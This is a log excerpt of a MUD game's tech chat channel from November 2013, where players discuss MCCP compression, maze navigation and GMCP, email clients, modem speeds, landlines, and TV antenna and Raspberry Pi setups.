T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: it's not like you'd be using mccp to compress files, it's specifically for MUD
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: and specifically to stream with telnet
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: so as there's really nothing else in its class, there is nothing better
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: okay. What if your computer kept a file of compression dictionary
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: you don't mccp files
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: just download 7zip and go with that
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: no i wasn't talking about mccp files
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: I mean like keep a file of substitutes or whatever
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: I think he wants to prevent his client from disconnecting with large lists.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: nah I'm just curious and want to explore this
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: like "aaaaaaaa" compresses into "8a" with compressor X?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: Um, no idea, Abe.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: I mean like after I disconnect or close my client, I can come back with the same compression substitutes or similar (?)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: not sure what you mean by a file of substitutes
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: there are no substitutes...iirc aard may even have dropped mccp v1 support at some point
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: well I don't even know how mccp works. For all I know there IS a file of suubstitutes..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: *nod*
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: substitute like: "aaaaaaaa" -> "8a"
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: most compression algorithms aren't quite so straightforward with their substitutes, and a given block may compress to a different outcome depending on its context
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: yeah I thought so. But is there a way to keep it active after closing the client? (like saving it to a file and loading it back up after connecting again?)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: Would there be any advantage to that?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: why should you want to. It starts again when you start your client?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: not really
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: the negotiation of that info would take up more than starting from scratch
T3/r7/2013-11-16.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: mccp doesn't use a file... there's nothing to save
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: so not much change eh
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: it's not learning to the degree that it gets much more efficient as time goes on
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: it might even be slower  thhat way
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: even if it didn't have to negotiate that info, I guess there isn't much change.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: IIRC zlib is fast with cpu cycles, too.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Comanchee Tech: Can the mapper take you to a room that requres navigating through a maze?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: a real maze, no
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: not a real maze
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: many areas appear to be mazes but really aren't...it does those no problem
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Comanchee Tech: That was my impression as well, not sure what konnan meant then.  Thanks
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: some rooms can be set as a 'maze' I think
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: nod, there's an "ismaze" flag, which does 2 things...(1) randomizes exits on repop, and (2) makes the MUD not send the exit destination numbers to the client
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: the second you can overcome with a cexit right?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: you wouldn't know what to do with the cexit, since they're random
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ayasinda Tech: ahh yes, you are right
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Comanchee Tech: How do you set the ismaze flag?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It's a mudside flag set by a builder
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: the builder sets it...the mapper gets it automatically from the gmcp data
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Comanchee Tech: I see - that's what makes it a maze
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: You rapidly nod twice, in complete agreement.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Elxi Tech: What if your cexit was a script that hunted a mob and walked in the direction of the hunt?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: wouldn't work because the other commands would be sent after the first hunt
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not with a DoAfterSpecial
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: I hear hunting out of mazes is effective, though
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: doafterspecial wouldn't help
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Elxi Tech: Yeah, that was an issue with tt++'s #map run
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: it'd have to be a separate mapper goto command (or mapper resume)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Elxi Tech: I made the mapper not send the next node of the speedwalk until after a gmcp map room message got sent
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Or just a loop to keep it 'paused' until it received hunt feedback
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Elxi Tech: So in effect it isn't doing a #map run but a lot of really fast #map walk 's
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: All of that is pretty irrelevant though, because for the most part navigating mazes is  1000x easier using a human to read the minimap :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: and note that non-hunt mazesolvers are illegal
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: where's the help file on that abe
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: (I don't personally agree with the decision, but that decision has been made)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: i'd think help maze
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ontuct Tech: non hunt mazesolver?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: a script to automate going through a maze, which is not an autohunt script
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It didn't use to be that way, though, did it?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Elxi Tech: Heh, is checking the exit 1n from vlad entrance considered "maze solving" ? :p
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: swalec used to have one
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: I don't see it mentioned in help maze. i think it should be..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: post to typos :-)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I had one for DG a long time ago :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: I just have a cheat sheet for DG
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I just print out the order in an alias now
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: although my favorite was when we had ATCP before GMCP, mazes DID send the exit UIDs, so I had auto mazewalkers for them all :-)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger crosses his arms and nods slowly and sagely.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: what if there was a file or list that had all the room descriptions in it or something and compressed them in an index IDK
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: nod, I have 1)In the mountains             5764 | mountains of rock
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That'd be called a database...
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: which is what MC uses anyways
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: hey I don't know anything cheezburger. it's okay..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: kanashii: mazes typically have the same room name and room description, but you wouldn't need that for the maze solver...once you're in a room, you already know exactly which room it is...you get the room's UID for the room you're in
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: it's the UIDs for the attached rooms that you can't see
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: type "mapper thisroom" to see the room's UID (or hover over the box in the mapper)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: At one point I tried creating a not-applicable list for mazes, sort of a check/highlight on a particular room, much like dropping a coin, but it was useless as you still had to go back into the room, but as long as no repop happened it auto-elimiated path's you've already taken from a particular room.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: what the maze solver would end up doing is what I do to manually solve a maze...make a table of where n/s/e/w/u/d goes for any given room
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So not really a solver, but it did allow you to list what paths you had tried and do your own process of elimiation
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: with GMCP clients, you use the UIDs, with non-GMCP clients, you'd drop items in the room to mark the room as "room 1, 2, 3", etc
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: My method of solving a maze involves running around randomly until I end up where I want to be, or die in real life.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: that sometimes works ;-)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Good luck with that in 9h.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Ontuct Tech: with the occaisional EN not going east north but sending you back to the aardhotel
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: at least 9h has different layers like the planes, so exit works well
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Except getting out, which is just running down for eternity until you see the castle or !
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: heh, I autohunt one of the dark8 to go up and autohunt ruk to get out
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, that's the most effective way, but hunt also triggers the aggros sometimes
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: just the barbs
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: but the good thing is that you get the hunt answer before the aggro
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: so then retreat that way
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, but if you try and automove you're screwed :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Well, not screwed, but waste a retreatable round
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no, it won't take a round
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: it'll say not while fighting and not count
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Hmm, I thought it did.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: nods, i knew you got the message, but I thought there was a lag on it while in combat
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Doesn't appear to be though, after testing it
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: hehe, I just started a fight to spam dirs to test too
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger snickers softly.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The only affect I see is when you try and spam it too many times per mud pulse, but if you're spamming that many directions you're already wrong :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: so where would I go to find more out about gmcp?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Aardwiki, GMCP protocol site.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: link is in help gmcp
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: There's also a couple of good resources on Archae's website, and Mudlet's wiki.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Granted, they aren't MC specific implementations, but the info/methodology is the same.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: thanks :)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I just noticed something..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: The uninstall utility for SQL server 2008 has the stock .NET program icon. :)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: What kind of ... puts a component required to uninstall something on the installation disc?`
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Trying to decide what I want my new preferred mail client to be... Thunderbird is good, but now I find myself looking for something more. :\
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Any suggestions?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Gmail's easy enough :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Book of Etzli buries his face in his hand and sighs, shaking his head.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But despite my dislike of MSFT, Outlook is a great client.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Anything outside of the browser, please. :p
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: They got rid of Outlook for Windows Live, I thought.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Really?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Or rather, Windows Live is the new Outlook.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That seems counter-productive to their goals.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: nonono, the outlook client, not the server.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: I so miss eudora support...they came out with this new eudora opensource thing but it's nothing like the original...more like thunderbird :(
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: as in part of the office suite
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Right. Windows Live Mail Client is replacing Outlook, I believe. I may have misread it (didn't read much into it), but saw that Windows Live Mail client was preferred.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: nod, outlook live/office 365 is just an exchange server's web access
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no, they still make the full on-computer outlook
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: as of office 2013
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That's what I though
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: thought*
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: some office 365 accounts are web-only, others let you download/install full office
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Outlook is alot more than just a frontend for exchange/a mail client. :S
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I see it now.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Zade Tech: Pegasus is a "free" email-client (replacement for Outlook) but contains a few bugs and a few deficiencies 
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Wonder what I read last night to make me think otherwise... 
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I haven't used pegasus since 1995.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Gener Tech: no no no  windows live replaces outlook express.  outlook is alive and well
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: wow, pegasusmail is still around?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Didn't know it was still around.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: that was big on college campuses way back when
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Confounded CeriQ gives you a BIG high five!  Way to go!! 
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I have IncrediMail installed. Love the interface. Sucks it doesn't utilize my folders in Gmail.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I used it with my first email account. ever.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: PostBox is nice, too. But not quite what I'm looking for.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Together with a 14.4 kbaud modem.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tormat Tech: i used to host lan parties on a 14.4 modem
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: war dialers inc.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Gener Tech: the misinformation around here is astonishing  lol
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: 14.4 was blazing fast when I upgraded to it (it's kbps, not kbaud, btw)...had to wait for SprintNet to get newer modems when they upgraded to 9600
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: back when most access services used sprintnet for local numbers
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Book of Etzli Tech: It's sad to think of 14.4 as "blazing fast"... those were the days.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: then I got ISDN at home, and hung the 14.4 off that on one of the channels in voice channel mode to avoid the fees...had a script on my alpha to switch to native ISDN when I needed a speed boost :-)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Hmm. I'm fairly certain you didn't cound kbps with bits before isdn - it was kilobaud per second before that..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Then again, I was 9 at the time, so what do I know..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: no, baud only equalled bits per second at slower speeds
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: baud is transitions, not data transmission speed
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Ayasinda seems to think you have the right idea.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Yeah, such as 14.4k. Was what I though..
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: not 14,4, no
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Alright. til.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: You've just single handedly erased my confidence in my childhood.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I hope you're happy. :D
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: the network of POTS lines go through analog/digital conversion at 8khz, which limits the speed that transitions can happen
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: think of it like this...if you use a piano to play "c" for on and "e" for off, you can send data that way with baud = bps...but if you then use "g" for another stream of on and "b" for off of that second stream, you're at bps at double the baud rate
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: the voice-quality analog can sustain multiple sets of tones like that to increase speed, and then they got even fancier with multi-state transitions where you could do 4 bits with less signals
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: but that 8khz still hard-limits how often you can transition a tone
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: POTS isnt phased out yet ?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: telephones?? never
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: umm, it's what all landlines are
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: the backbone has changed, there are more VoIP endpoints, but there's still tons of POTS in use
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: well yeah one would assume people would be smart and use the voip devices nowdays
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: VoIP devices don't work in power outage [sans UPS], my princess phone does
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I haven't used a landline in... 6 years.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: that is true power.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: you have a.. 'princess phone'? XD
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Gener Tech: abe does  lol
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: princess is a style of phone, not like a cinderella phone :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: Book of Etzli falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: I live in the woods, we keep a land line as the power goes out a lot, cell towers go down, it's annoying
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: standard $5 walmart phone, great for testing
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Kanashii Tech: ah
T3/r7/2013-11-16.txt.gz:{chan ch=tech}ShadowWalker Tech: if the phone fits.... :p
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: testing what... lol
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: poor man's linesman phone...princess phone and a banjo
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: and this kind of banjo (except 8-position) https://www.sfsupply.com/images/inventory/FLUKE/Banjo.jpg
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Lecithin Tech: if you have your own server space, is it possible to check to see if a file is being used/called by any of your existing files?  For example if i have a random javascript file that i *think* isnt being used on any page, is there some script or something to detect if that is being called from any of my files on my server?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Shinwoo Tech: is there a way to reset the location of a plugin window?  Like resetaard for the other windows
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Bast Tech: Shinwoo: which plugin?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Search and Botstroy?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Shinwoo Tech: serach and destroy
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Shinwoo Tech: yea I basically moved it out of range and I can't grab the top bar to move it
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Bast Tech: maybe xset reset gui
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Shinwoo Tech: sweet it worked thanks much
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: lecithin: if you have direct access to the filesystem, you can use a tool like "grep" to search for a call to the file
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: or webhosts often give you access to the web logs...you could search to see if that file has been asked for, and if nothing's asked for it in hella long, it should be safe to get rid of it
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Asterax Tech: am I the only one this happens to- when i try and use the aardwolf note formatter page then push "format note," my browser then freezes up.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: I just compose in text editor, but have you tried different browser? (IE/chroms/FF)
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Asterax Tech: yup, but just tried formatting it in a text editor and that worked. good enough.
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Leinei Tech: Did you have a single word that was over 80 characters long?
T3/r7/2013-11-16.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: that would be a feat :P
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Mohan Tech: Rodostemonodaphen
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Tech: thisisthewordthatneverends
T3/r7/2013-11-16.txt.gz:{chan ch=tech}Mohan Tech: Rodostemonodaphe instead
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: AHAHAHAHA :-) I just borked a regex search pattern on my MUSHclient output, it locked up until it ran out of memory. 14 out of my 16gb RAM
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: AHAHAHAHA :-) I just borked a regex search pattern on my MUSHclient output, it locked up until it ran out of memory. 14 out of my 16gb RAM
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: New record!
T3/r7/2013-11-17.txt.gz:{chan ch=tech}I Sense Nonsense Tech: nu uh
T3/r7/2013-11-17.txt.gz:{chan ch=tech}SlowMoos Tech: you might be doing something wrong then :-)
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Aizma Tech: You gotta get your money's worth
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, it was totally my fault, did a look-behind when I meant to use a look-behind, but wow did it just chew up that memory
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This machine has never mallocced so hard
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: any A/V experts on?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: well, it's a mix between A/V, computers, and consoles... specifically windows media center
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just ask the question and find out?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: lol, fair enough
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: I'm trying to drop directv, and don't really want to go with cable.  I can probably get by mostly with netflix, hulu, and occassional downloads.  But would like the otion of local channels
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ranrr Tech: Aren't the channels available on the webs, so you could use e.g. xbmc to access them?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: I am thikning of getting an hdtv antenna, and just securing it to the directv dish, and unplugging the coax from that, and plug it into the antenna.  That way I don't have to buy and run a buttload of coax cable
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: hey rannr, which channels, local?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ranrr Tech: Yeah
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: as far as I know, I need to run a singal into my comp to get the channels (from an antenna, cable, etc.)
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ranrr Tech: Wow, that's primitive.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: lol.  Are there streaming options for local?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: I do like that windows media center has DVR functionality for local
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ranrr Tech: I dunno about where you live, but all my local channels have their programming on the web.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: I think I live in siberia
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ranrr Tech: I use xbmc on a raspberry pie to stream them.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: but, the main question is, in theory, if I just unplug the coax from the directv dish, and plug it into the antenna, should that work, or does directv use some weird coax cable
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: and what is a rasberry pie? Another reason I took my question to tech, I am fairly behind the curve with tech options
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: a micro computer designed to make taking core principles easy and cheap
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: there are extensive details on the rpi foundation page - http://www.raspberrypi.org/
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Piffaron Tech: ok, I found raspberry pi in a quick search, but I wasn't sure that was what you referring to.  Thank you
T3/r7/2013-11-17.txt.gz:{chan ch=tech}ShadowWalker Tech: mudside aliases support wildcards ?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ylar Tech: in a very limited sense.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ylar Tech: there's an implicit * at the end of each alias.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ylar Tech: or whatever
T3/r7/2013-11-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know much about setting up bind/named to run a dns cache on 127.0.0.1 ?
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Elxi Tech: Looking for 1 or 2 mobile mudders to help beta test some stuff.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Elxi Tech: send tell or w/e
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Fravardin Tech: Xbox One or PS4 
T3/r7/2013-11-17.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: commodore 64
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Tech: Tigernuts drools upon [**NOPK**] Redwood.
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Fravardin Tech: besides 1985 tech whichone would you guys suggest 
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Tigernuts Tech: 1982 tech thankyou
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Ranrr Tech: amiga 500+
T3/r7/2013-11-17.txt.gz:{chan ch=tech}Fravardin Tech: I was close :(
